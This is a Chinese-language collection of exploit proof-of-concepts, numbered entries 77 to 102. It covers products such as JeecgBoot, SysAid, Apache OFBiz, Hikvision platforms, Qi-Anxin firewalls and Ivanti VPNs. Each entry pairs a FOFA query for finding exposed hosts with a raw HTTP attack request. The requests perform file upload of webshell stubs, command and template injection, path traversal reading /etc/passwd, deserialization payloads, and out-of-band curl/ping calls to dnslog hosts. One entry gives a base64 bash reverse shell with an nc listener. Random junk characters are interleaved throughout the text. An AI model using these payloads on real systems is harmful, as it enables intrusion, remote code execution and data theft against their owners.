+ X5 y! t: Z, M1 J8 @  k6 K9 c  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
8 b, z6 v( b* Y( i  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
- F, H  z3 x7 }% u  q}
3 F: H  m3 o7 t
* F* P# l3 ?5 X, g
GET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
Host: x.x.x.x

6 u+ n$ R5 o$ l1 x: }4 T

77. F22服装管理软件系统UploadHandler.ashx任意文件上传
1 R% ^0 I2 y0 U8 l" n; d; TFOFA：body="F22WEB登陆"
POST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
Host: x.x.x.x
- M3 ]- {8 V2 r: kUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
9 w) F% P- ^# l  \# b$ EConnection: close
& c9 Q" M% E% x7 e8 |* T! jContent-Length: 433
0 S; o4 t& L* }' L2 EAccept: */*
$ G  T1 [" Z& {/ D- TAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix
0 C; |, _' ^2 f( ~7 z
( {0 |- `+ `  t" ^( T$ l------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="folder"
( V3 Q1 A2 T  k. R
+ E- W" T# }9 A6 s/upload/udplog
8 X) b) m+ z  O- @: a# S  r  n: W------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Filedata"; filename="1.aspx"
. U# W5 w* g* C2 O6 X8 s7 eContent-Type: application/octet-stream

/ i$ t7 a1 }! v+ b: ?hello1234567
------------398jnjVTTlDVXHlE7yYnfwBoix
5 `& z4 C/ a) F3 Z# ]! f% vContent-Disposition: form-data; name="Upload"

Submit Query
------------398jnjVTTlDVXHlE7yYnfwBoix--


78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
FOFA：icon_hash="2001627082"
* V. x* s9 T2 }2 z9 c$ jPOST /Platform/System/FileUpload.ashx HTTP/1.1
7 w' h/ {' Y# ^( {5 `6 B1 B( @Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 336
' H+ a6 R; \- A3 cAccept-Encoding: gzip
Content-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l

' r3 Z# h4 I2 o% L+ y0 ]# d5 T9 R------YsOxWxSvj1KyZow1PTsh98fdu6l
: Q6 z& ^9 x8 d3 B5 c, W' o6 hContent-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
1 F# o/ s; {  q) Y8 g! {1 yContent-Type: image/png

  `/ P' m" k' ^" KYsOxWxSvj1KyZow1PTsh98fdu6l
------YsOxWxSvj1KyZow1PTsh98fdu6l
6 ~! E, _- Z$ XContent-Disposition: form-data; name="target"

( x8 ~+ P' Z7 P! n' \" @/Applications/SkillDevelopAndEHS/
------YsOxWxSvj1KyZow1PTsh98fdu6l--

0 ?  S. `, H; l* i! z% o9 ~
GET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
5 q# l1 ?0 p' h8 _Host: x.x.x.x
* ]) p7 d# ^3 z- A
+ O1 ~2 X" P( f' H
& I8 B8 B! o; l; A0 M79. BYTEVALUE 百为流控路由器远程命令执行
FOFA：BYTEVALUE 智能流控路由器
; g" R0 B# h6 r( W4 T; e1 FGET /goform/webRead/open/?path=|id HTTP/1.1
9 r) s+ H$ K7 M: O  ~1 o4 GHost:IP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
' t: J; X/ w" q  R/ K  [Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
* ~: @! \8 R) N% t( u( d& |* JAccept-Encoding: gzip, deflate
& T$ w' X! M. W0 Q6 m: VConnection: close
# }: h2 Y3 v: e; H4 mUpgrade-Insecure-Requests: 1


80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
$ z5 n* |9 O$ k% nFOFA：app="速达软件-公司产品"
POST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
8 M. v9 Q; o" B3 U: Y# XContent-Length: 27
: o! U  I9 x4 p3 l+ SAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
4 {7 T9 o$ ]+ U* K: ~: S9 [Content-Type: application/octet-stream
Upgrade-Insecure-Requests: 1

% P; H; s5 |6 L+ u<% out.print("oessqeonylzaf");%>
) O! F8 F  }9 ]( M9 ?

! V+ j$ @; M  LGET /xykqmfxpoas.jsp HTTP/1.1
6 K/ j# }, G  B3 uHost: x.x.x.x
' O4 c# B9 @$ x; k0 a( v8 OUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
9 f, ~% ?' G$ v8 f# [- cConnection: close
3 P2 ?5 T/ X: |8 C+ }2 YAccept-Encoding: gzip


+ D/ y% T" S0 q. I7 R. T, B3 e& i81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
FOFA：app="uniview-视频监控"
' `; i. m3 s" _/ h, yGET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
Host: x.x.x.x
) n# w" S* B; T! q; CUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
. [, G+ U: w( R  I; t6 [Connection: close
! p7 v% R% z0 ?Accept-Encoding: gzip

) q* x; G5 y5 ]6 p! ]7 f# R$ c
* T7 N) A3 Y1 N' k' W82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
FOFA：app="思福迪-LOGBASE"
POST /bhost/test_qrcode_b HTTP/1.1
Host: BaseURL
User-Agent: Go-http-client/1.1
+ V  U* F1 e  x+ U9 h  d5 F1 {: vContent-Length: 23
7 V- q8 b& F, T) o! r$ OAccept-Encoding: gzip
. L$ s! }: v' h: B0 H$ uConnection: close
Content-Type: application/x-www-form-urlencoded
: a) Y! K' O5 H" h3 t: P% tReferer: BaseURL

z1=1&z2="|id;"&z3=bhost


83. JeecgBoot testConnection 远程命令执行
- _+ O; E, G* @. f% \' SFOFA：title=="JeecgBoot 企业级低代码平台"


POST /jmreport/testConnection HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
0 S+ Y8 d2 K4 I( r% A+ bConnection: close
3 I: _5 ], Z! q# S% \$ Q- O- U5 hContent-Length: 8881
) i4 t; k. i- h0 n5 wAccept-Encoding: gzip
Cmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
Content-Type: application/json
* Y  m2 T' t0 p- ?9 N( R9 U
* u! i$ J. d! {7 y) ~% X; EPAYLOAD
, b* R4 v# E5 ^( G
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
: W7 b  i( ^5 R) {, X6 b1 nFOFA：title=="JeecgBoot 企业级低代码平台"
- I- m  O4 ]2 B0 Z; N
+ c+ O" f) d- `- \+ H; d

POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: 192.168.40.130:8080
6 A" {4 P4 d: L2 V$ SUser-Agent: curl/7.88.1
Content-Length: 156
6 g" t1 [9 m0 r/ ^% V% i  N  ]Accept: */*
Connection: close
1 }- t& n- p# H- U5 ~. X7 jContent-Type: application/json
$ f+ U4 v- Y( r* N1 V9 U8 j7 J  FAccept-Encoding: gzip

{
3 t; ~& l. ~1 L& k, M- j "sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
( W4 E# Q$ y0 `5 R  "type": "0"
}


85. SysAid On-premise< 23.3.36远程代码执行
CVE-2023-47246
FOFA：body="sysaid-logo-dark-green.png"
* X. w. X; {. sEXP数据包如下，注入哥斯拉马
5 l, h1 \7 n$ U0 lPOST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
, c. s# ~$ \+ c. A8 N4 RContent-Type: application/octet-stream
' T* w3 Y. ^1 {, M* a6 X$ s, DAccept-Encoding: gzip
- L( K$ K& D) C: E$ M3 `
PAYLOAD

回显URL：http://x.x.x.x/userfiles/index.jsp
; T+ e4 a' R# U4 d! ?3 W" q
( j; D9 W3 E6 |$ \$ s86. 日本tosei自助洗衣机RCE
FOFA：body="tosei_login_check.php"
POST /cgi-bin/network_test.php HTTP/1.1
! b# Z+ k. e+ r& e* D3 XHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
; {5 D8 T7 g9 {Content-Length: 44
7 ^5 q" B$ ^8 G5 q- `/ l8 J) ~& tAccept: */*
Accept-Encoding: gzip
- D; |. J+ }# h3 c1 \5 ?+ ?8 q$ r0 N6 bAccept-Language: en
Content-Type: application/x-www-form-urlencoded

+ T2 }' ~6 P7 z6 `4 ^host=%0acat${IFS}/etc/passwd%0a&command=ping
2 ^8 ?' M  @" Q! K
9 e# t5 ]# W) V7 ^3 Q
87. 安恒明御安全网关aaa_local_web_preview文件上传
) j' |/ M6 U* BFOFA：title="明御安全网关"
POST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
9 x9 B$ Z" Z# }' j2 e  ZHost: X.X.X.X
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
( O+ |$ D3 h, L8 ^" I7 UConnection: close
Content-Length: 198
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd
: Z; E" W( x& N% y4 h) a) a
4 l% U$ n* ~3 e4 C) e--qqobiandqgawlxodfiisporjwravxtvd
Content-Disposition: form-data; name="123"; filename="9B9Ccd.php"
Content-Type: text/plain
, g& `4 A: ]! {; E4 d
( {0 k5 j; V$ ^; k2ZqGNnsjzzU2GBBPyd8AIA7QlDq
9 B8 A! J: @: S--qqobiandqgawlxodfiisporjwravxtvd--
& g0 M9 |' j4 H% p0 `; t- B
  t) c0 k! x- t/ s7 j( K  o
. b% i' d3 V3 i1 ~# U/jfhatuwe.php
; K! E$ b5 K( J: R8 T6 `/ I
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
+ z( B+ J- o6 Y+ ]" k% q1 v  }$ cFOFA：title="明御安全网关"
GET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
% t  T0 R& N9 Z/ ]  l( {) iHost: x.x.x.xx.x.x.x
  B0 ~8 o2 U2 jUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
* G, S+ _0 Z3 ?  hAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
/ ?5 y3 o, M' d; qAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
" l2 g9 j8 F7 H4 I) t# J( i9 [
9 X0 k+ m( P3 @, I
/astdfkhl.php

  U) t% w- e3 w  G89. 致远互联FE协作办公平台editflow_manager存在sql注入
FOFA：title="FE协作办公平台" || body="li_plugins_download"
POST /sysform/003/editflow_manager.js%70 HTTP/1.1
( R- }( s+ r) }Host: x.x.x.x
$ X# u" Z9 W& ^1 }' v8 rUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
/ U3 j  A* ^+ G' }" dConnection: close
: n1 {6 W% E8 o( `7 P9 Z* M" A+ O( _1 pContent-Length: 41
Content-Type: application/x-www-form-urlencoded
+ p8 G/ E& L* t. g! S" [Accept-Encoding: gzip
  O/ W* V9 I5 I: M9 X7 J: K
, _0 Y* o$ q/ i: ^option=2&GUID=-1'+union+select+111*222--+

& d) s# L7 ^. r+ w9 M
. p/ ^: N# ^5 \: J! L" m. }90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
3 L$ i8 ^9 e. D( ^FOFA：icon_hash="-1830859634"
POST /php/ping.php HTTP/1.1
/ C, n! D, V' xHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Content-Length: 51
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
6 g9 K$ T; f! x' N9 F! p" }Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
2 ]2 e; C4 a+ n  x' F  H( e; p' J+ \Content-Type: application/x-www-form-urlencoded
# e9 n$ {* E2 J+ A+ `3 ]X-Requested-With: XMLHttpRequest

jsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig
  r) u! a- h- s: `
4 `  V- b( b0 ~
91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
' z) ]% u6 r* ~2 [# g; jFOFA：title="综合安防管理平台"
GET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
) \! f' ~' O7 O* B- AHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept-Encoding: gzip, deflate
4 Q  U# R# n$ f. Q+ p6 gAccept: */*
& K2 K2 q# T% j0 a. M$ H: U1 V; g! JConnection: keep-alive
/ R) F7 ^$ H* e" A' O
$ k5 V4 j6 C/ |2 ~, k
3 Z6 y* x' @% K0 c6 Y
92. 海康威视运行管理中心session命令执行
Fastjson命令执行
( D3 `9 E2 S) b" @( lhunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
4 |! n" a: j" v6 KPOST /center/api/session HTTP/1.1
Host:
Accept: application/json, text/plain, */*
  Q9 y& _0 o2 B/ D2 P( W# P6 xAccept-Encoding: gzip, deflate
- ]7 A, W! ~/ `- }7 {- OX-Requested-With: XMLHttpRequest
Content-Type: application/json;charset=UTF-8
5 F& l4 p0 r4 }# C- s( EX-Language-Type: zh_CN
3 i- P8 O# i/ U) i5 c0 qTestcmd: echo test
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
; w1 [( u4 z! Z9 tAccept-Language: zh-CN,zh;q=0.9
Content-Length: 5778
2 i1 t8 C# k/ ^9 f% l
PAYLOAD
2 x$ S4 \$ y! G+ r% C7 w% f1 V8 {
) {9 J! V3 V- f& e4 c
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=app_av_import_save HTTP/1.1
% ~/ }* c' r+ y  G5 P8 z& aHost: x.x.x.x
2 b" D1 Z+ Z8 }. [Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

3 D& O: J" V& X/ h4 h" G3 Q- z------WebKitFormBoundarykcbkgdfx
* _& T7 z( c$ t! o* d* GContent-Disposition: form-data; name="MAX_FILE_SIZE"

- H9 u: ]7 [) p) X10000000
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
( q! S+ p2 `( [0 J- R0 IContent-Type: text/plain

* |/ M: M% l) v, ~/ F/ s6 P1 j- Owagletqrkwrddkthtulxsqrphulnknxa
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="submit_post"

3 B# w6 {; G' w3 Q( d3 d7 q: f: ^obj_app_upfile
7 i* [( d8 k0 F------WebKitFormBoundarykcbkgdfx
9 V  R+ q3 M4 ^6 C, @Content-Disposition: form-data; name="__hash__"

1 g2 u: p+ l% H4 T/ e0 l0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarykcbkgdfx--

5 M( B5 a. ^6 r6 ^4 }
1 R0 o  E8 C) rGET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
& n' A" h) M+ |* T5 ]' u: [) v' R! hUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36


94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=obj_area_import_save HTTP/1.1
1 y# M$ f1 j3 j. n. X3 KHost: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
. w$ |& [- R6 T$ g8 gUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36

------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="MAX_FILE_SIZE"
) a9 x" p* F. I# M, f  d) @
" F+ E4 ?5 f) f1 j, P! V: Z8 Y10000000
: F& ?8 Z8 ]' m------WebKitFormBoundarybqvzqvmt
% a0 w& j- t; f2 o, Y1 E: |Content-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
7 |5 P9 |7 X; t9 C1 RContent-Type: text/plain

4 K# P; _* }3 c! X6 p4 E* kpxplitttsrjnyoafavcajwkvhxindhmu
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="submit_post"

+ k* n% `" S+ _( }! pobj_app_upfile
------WebKitFormBoundarybqvzqvmt
8 H: d  G3 C9 S% A; aContent-Disposition: form-data; name="__hash__"
3 t# `1 O- i' z  U2 s+ E
: q2 [2 ?4 c/ B) @' o" j% j0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarybqvzqvmt--
% U) }" A; k. ^2 _
1 R1 w( ^  q$ e# Z( j- N# ~: s
. o$ d. K7 W( x6 {( i7 E$ ?
4 h* |' `  l* e" x% LGET /attachements/xlskxknxa.txt HTTP/1.1
/ a) A+ I5 x$ SHost: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
; ~. ?+ H# D" }/ b7 f
  n$ C- o0 x" ?$ @
# P8 W1 g, c+ J' E1 x& a
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
' [# C! T: L* N% ZCVE-2023-49070
7 ~/ i! |6 z7 k: _; f* B: V, EFOFA：app="Apache_OFBiz"
9 V2 k" K& W* Z0 e/ A7 ZPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
+ P/ B" S6 s! K' k( G* IConnection: close
' P- r) h2 P1 j3 S5 YContent-Length: 889
Content-Type: application/xml
Accept-Encoding: gzip

<?xml version="1.0"?>
& g0 N' {1 [% F7 r<methodCall>
6 ^& L! W$ z3 Y! s) k   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
2 n- n0 `! M4 j8 b8 h$ }8 m) c( |    <params>
      <param>
3 r% U$ r0 H0 x( ?9 g8 L3 ?% W; Y1 e      <value>
        <struct>
- H6 U! ~) f4 o. S       <member>
  z& X5 g+ M8 R          <name>test</name>
4 L. ]+ l" p7 w* m7 i          <value>
      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
7 ]$ o4 i' v; Q4 L+ {- O3 T6 {          </value>
& }0 e1 n% }0 O" _+ y        </member>
      </struct>
      </value>
    </param>
, s4 ]$ P7 l( p; W- |5 A4 |    </params>
0 w  u/ ?9 t! N8 Q2 P' B</methodCall>


用ysoserial生成payload
java -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"
% ~' @- \/ J/ V, [. w1 J, w
7 R' y2 z, D1 ~. K% W' w
将生成的payload替换到上面的POC
9 H: }, f- P/ F. @POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
6 ]) F* U# n$ x. W0 WUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
$ ~% d, v1 k7 I% n: o  QContent-Length: 889
1 I% N& e$ D+ ?2 H$ kContent-Type: application/xml
0 w( Y+ P. k2 v* s3 bAccept-Encoding: gzip

PAYLOAD
" Z. z1 g  B' w  X9 \  X+ c; s: a; I
96. Apache OFBiz  18.12.11 groovy 远程代码执行
FOFA：app="Apache_OFBiz"
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
: E& g3 y. B9 a' l1 p0 j" x, WHost: localhost:8443
( A/ x' m2 N! x( l9 gUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
  y0 k: h3 S7 D1 p# MAccept: */*
5 c, B, o- }# n) [( UAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
* S9 P; g6 b7 N/ gContent-Type: application/x-www-form-urlencoded
Content-Length: 55
  o4 f0 e! }. k# U2 i: u) R8 d
0 x! u, h- ~3 P1 tgroovyProgram=throw+new+Exception('id'.execute().text);


反弹shell
1 G  w3 d5 ^' L3 r+ }9 {在kali上启动一个监听
0 \: I, T3 Q  inc -lvp 7777

POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
- X2 _0 P) l0 jAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
# G5 Q$ T1 Q/ H0 @Content-Type: application/x-www-form-urlencoded
Content-Length: 71

. j3 _  {# n) F* _groovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();
$ J. E- \9 X! n" j  I
5 M6 r, Q2 }+ M  ]% e% W" P97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
( D) A3 R2 i$ P/ D  iFOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
9 w" n  F7 z/ N2 X0 b& ^% `GET /passport/login/ HTTP/1.1
Host: 192.168.40.130:8085
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
Connection: close
Cookie: rememberMe=PAYLOAD
. d- T" E( p. {2 Q; S) V. Z* WX-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"

7 J6 P2 T' v  E/ Y. K& i5 d- Y9 N
98. SpiderFlow爬虫平台远程命令执行
CVE-2024-0195
7 h8 [* S" i7 Z5 D. J! zFOFA：app="SpiderFlow"
0 z, d5 F3 \+ g$ \POST /function/save HTTP/1.1
Host: 192.168.40.130:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
. ^0 v* _' H5 y% }5 u  c# UConnection: close
, k, `. S' D* c- b/ a! XContent-Length: 121
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
* ?- V( z  t+ v1 T# G$ k; Z3 pContent-Type: application/x-www-form-urlencoded; charset=UTF-8
  @; l0 t  J* q6 u5 J7 C# l/ iX-Requested-With: XMLHttpRequest

5 ~# C2 u  \( u+ A' x9 Eid=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B


99. Ncast盈可视高清智能录播系统busiFacade RCE
9 f; b/ i8 R, T3 z: l" ZCVE-2024-0305
FOFA：app="Ncast-产品" && title=="高清智能录播系统"
POST /classes/common/busiFacade.php HTTP/1.1
/ n2 z& R4 P6 T9 s9 c1 q; kHost: 192.168.40.130:8080
2 Q) i( [9 j" N; jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
# X! i! z4 ^' x6 ?Connection: close
Content-Length: 154
! m& `" y2 h  @1 p5 b9 m, T2 R  CAccept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
; I8 P* D& c3 e" }X-Requested-With: XMLHttpRequest
4 p. M0 L1 P( J0 R( K+ ^
%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D
) B3 k& M1 g- w# j3 Q7 k  \
& |/ f/ }  u, z( j( n( e' A, k
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
CVE-2024-0352
FOFA：icon_hash="874152924"
" A* R% |( \3 P. s' ?% f7 t  E5 R9 ^POST /api/file/formimage HTTP/1.1
Host: 192.168.40.130
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
9 I) E4 {9 w1 F$ [/ o- j# [. _1 ]Connection: close
. b4 C8 D+ _- o/ Z  b" JContent-Length: 201
* A' a! {* t7 Y" u6 U# J, ^Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
! H+ S4 G3 S9 f. _" I' \: j( f3 pAccept-Encoding: gzip

------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="file";filename="IE4MGP.php"
Content-Type: application/x-php

2ayyhRXiAsKXL8olvF5s4qqyI2O
------WebKitFormBoundarygcflwtei--
  }' E' B9 p8 `. N
  _+ ?: k' ]1 w: M- g+ K0 K
1 h0 V! m0 z$ j- ?4 m' e8 P101. ivanti policy secure-22.6命令注入
CVE-2024-21887
& }4 r5 F: Y- W( Q% s6 pFOFA：body="welcome.cgi?p=logo"
GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
6 P" y* B1 \# A( D0 j/ cHost: x.x.x.xx.x.x.x
& h9 [* g# H2 k. K/ kUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept-Encoding: gzip

$ ^7 g! G6 W8 x$ ^
' h& u2 K- ^$ O" T% w102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
CVE-2024-21893
FOFA：body="welcome.cgi?p=logo"
0 c- x6 @4 ]9 z+ P2 VPOST /dana-ws/saml20.ws HTTP/1.1
Host: x.x.x.x
0 d. d* y! e0 O1 {3 }User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
2 a1 ?& a: d$ g! B8 y' t  @+ c" r2 @  CConnection: close
& v" T+ ?, ^& B8 d& A- }6 LContent-Length: 792
Accept-Encoding: gzip

